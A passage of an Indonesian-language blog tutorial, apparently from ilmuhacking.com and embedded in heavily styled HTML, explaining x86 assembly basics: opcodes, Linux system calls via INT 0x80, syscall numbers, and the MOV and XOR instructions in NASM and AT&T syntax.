margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none; vertical-align: baseline;"&gt;&lt;img alt="hubungan assembly dan opcode" class="aligncenter size-full wp-image-1698" height="489" src="http://www.ilmuhacking.com/wp-content/uploads/2009/10/opcode-assembly1.png" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; display: block; font-size: 13px; margin-bottom: 0px; margin-left: auto; margin-right: auto; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;" title="hubungan assembly dan opcode" width="613" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Opcode di sebelah kiri adalah versi bahasa mesin dari bahasa assembly di sebelah kanannya. Hal ini menunjukkan eratnya kaitan antara assembly dan bahasa mesin. Contohnya adalah instruksi assembly INT 0×80 diterjemahkan ke bahasa mesin: 0xCD 0×80 (dalam hexa) atau 11001101 (binary dari 0xCD) 10000000 (binary dari 0×80).&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Perhatikan bahwa pada source code assembly, “MOV EDX, len” setelah dicompile diterjemahkan menjadi “MOV EDX, 0xE”. Hal ini karena len adalah konstanta berisi panjang string “Hello, World!” yaitu sepanjang 14 karakter. Instruksi assembly pada source code “MOV ECX, msg” setelah dicompile diterjemahkan menjadi “MOV ECX, 0x80490a4″. Mengapa msg diterjemahkan menjadi 0x80490a4? Hal ini karena msg adalah address dari string “Hello, World!” sehingga setelah dicompile diterjemahkan menjadi alamat 0x80490a4. Terlihat juga pada gambar di atas pada lokasi 0x80490a4 terdapat string “Hello, World!”.&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;System Call&lt;/strong&gt;&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Dalam program hello world di atas kita memanfaatkan system call untuk menampilkan teks di layar monitor. System call adalah gerbang menuju kernel mode bagi program yang membutuhkan servis yang hanya bisa dikerjakan oleh kernel.&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;a href="http://www.ilmuhacking.com/wp-content/uploads/2009/10/user-kernel-mode.png" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #005299; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none; vertical-align: baseline;"&gt;&lt;img alt="system call adalah gateway menuju kernel mode" class="aligncenter size-full wp-image-1703" height="457" src="http://www.ilmuhacking.com/wp-content/uploads/2009/10/user-kernel-mode.png" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; display: block; font-size: 13px; margin-bottom: 0px; margin-left: auto; margin-right: auto; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;" title="system call adalah gateway menuju kernel mode" width="441" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;System call di Linux dipanggil dengan menggunakan interrupt 80 hexa. Nomor system call dimasukkan dalam register EAX. Daftar lengkap nomor systemcall di Linux bisa dibaca di file header: /usr/include/asm/unistd.h. Berikut adalah cuplikan isi dari file unistd.h&lt;/div&gt;&lt;div class="wp_syntax" style="background-attachment: initial; background-clip: initial; background-color: #f9f9f9; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: silver; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: silver; border-left-style: solid; border-left-width: 1px; border-right-color: silver; border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: silver; border-top-style: solid; border-top-width: 1px; color: #110000; font-size: 13px; margin-bottom: 1.5em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: auto; overflow-y: hidden; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; width: 579px;"&gt;&lt;div class="code" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 2px; padding-left: 4px; padding-right: 4px; padding-top: 2px; vertical-align: top;"&gt;&lt;pre class="text" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: none; float: none; font-family: monospace; font-size: 12px; line-height: 1.333; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: visible; overflow-y: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; white-space: pre; width: auto;"&gt;#ifndef _ASM_I386_UNISTD_H_&lt;br /&gt;#define _ASM_I386_UNISTD_H_&lt;br /&gt;&amp;nbsp;&lt;br /&gt;/*&lt;br /&gt; * This file contains the system call numbers.&lt;br /&gt; */&lt;br /&gt;&amp;nbsp;&lt;br /&gt;#define __NR_restart_syscall      0&lt;br /&gt;#define __NR_exit                 1&lt;br /&gt;#define __NR_fork                 2&lt;br /&gt;#define __NR_read                 3&lt;br /&gt;#define __NR_write                4&lt;br /&gt;#define __NR_open                 5&lt;br /&gt;#define __NR_close                6&lt;br /&gt;#define __NR_waitpid              7&lt;br /&gt;#define __NR_creat                8&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Dalam contoh hello world kita memanfaatkan system call nomor 4 (write) dan nomor 1 (exit). Untuk mengetahui cara pemakaian dan argumen untuk system call tersebut, kita bisa gunakan man di Linux.&lt;/div&gt;&lt;div class="wp_syntax" style="background-attachment: initial; background-clip: initial; background-color: #f9f9f9; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: silver; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: silver; border-left-style: solid; border-left-width: 1px; border-right-color: silver; border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: silver; border-top-style: solid; border-top-width: 1px; color: #110000; font-size: 13px; margin-bottom: 1.5em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: auto; overflow-y: hidden; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; width: 579px;"&gt;&lt;div class="code" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 2px; padding-left: 4px; padding-right: 4px; padding-top: 2px; vertical-align: top;"&gt;&lt;pre class="text" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: none; float: none; font-family: monospace; font-size: 12px; line-height: 1.333; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: visible; overflow-y: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; white-space: pre; width: auto;"&gt;$ man 2 write&lt;br /&gt;SYNOPSIS&lt;br /&gt;ssize_t write(int fd, const void *buf, size_t count);&lt;br /&gt;$ man 2 exit&lt;br /&gt;void _exit(int status);&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Dari manual system call write meminta 3 argument: yaitu file descriptor bertipe integer, alamat memori tempat string berada, dan terakhir adalah panjang string bertipe integer. Ketika argumen tersebut disimpan dalam register mulai dari EBX, ECX dan EDX. Argumen pertama di EBX, argumen kedua di ECX dan ketiga di EDX. Register EAX dipakai untuk menyimpan nomor system call. Dari manual system call exit meminta 1 argument: yaitu kode status bertipe integer yang disimpan dalam register EBX.&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Dalam contoh hello world di atas kita menggunakan 3 intruksi assembly yaitu MOV, XOR dan INT. Mari kita bahas intstruksi tersebut.&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Instruksi MOV&lt;/strong&gt;&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Kita menggunakan MOV untuk menyalin data dari sumber ke tujuan. Sumber dan tujuan bisa alamat memori, atau register. Perhatikan contoh berikut:&lt;/div&gt;&lt;table border="0" style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-collapse: collapse; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;tbody style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;th style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;NASM/Intel&lt;/th&gt;&lt;th style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;AT&amp;amp;T&lt;/th&gt;&lt;th style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Deskripsi&lt;/th&gt;&lt;/tr&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;MOV EAX, 0×51&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;MOVL $0×51, %EAX&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Mengisi register EAX dengan nilai 51 hexa&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;MOV ESP, EBP&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;MOVL EBP, ESP&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Menyalin isi register EBP ke register ESP&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Perbedaan antara sintaks NASM dan AT&amp;amp;T adalah arah pengkopian. Dalam sintaks NASM, tujuan ada pada operand pertama, sedangkan dalam sintaks AT&amp;amp;T tujuan adalah operand ke-2.&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Instruksi XOR&lt;/strong&gt;&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Instruksi XOR digunakan untuk melakukan operasi logika Xclusive OR. XOR akan menghasilkan 0 bila kedua operandnya sama, dan menghasilkan 1 bila tidak sama. XOR ini biasanya dipakai untuk membuat register menjadi 0 dengan melakukan XOR untuk operand yang sama seperti pada contoh hello world tersebut.&lt;/div&gt;&lt;table border="0" style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-collapse: collapse; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;tbody style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;th style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;NASM/Intel&lt;/th&gt;&lt;th style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;AT&amp;amp;T&lt;/th&gt;&lt;th style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Deskripsi&lt;/th&gt;&lt;/tr&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; 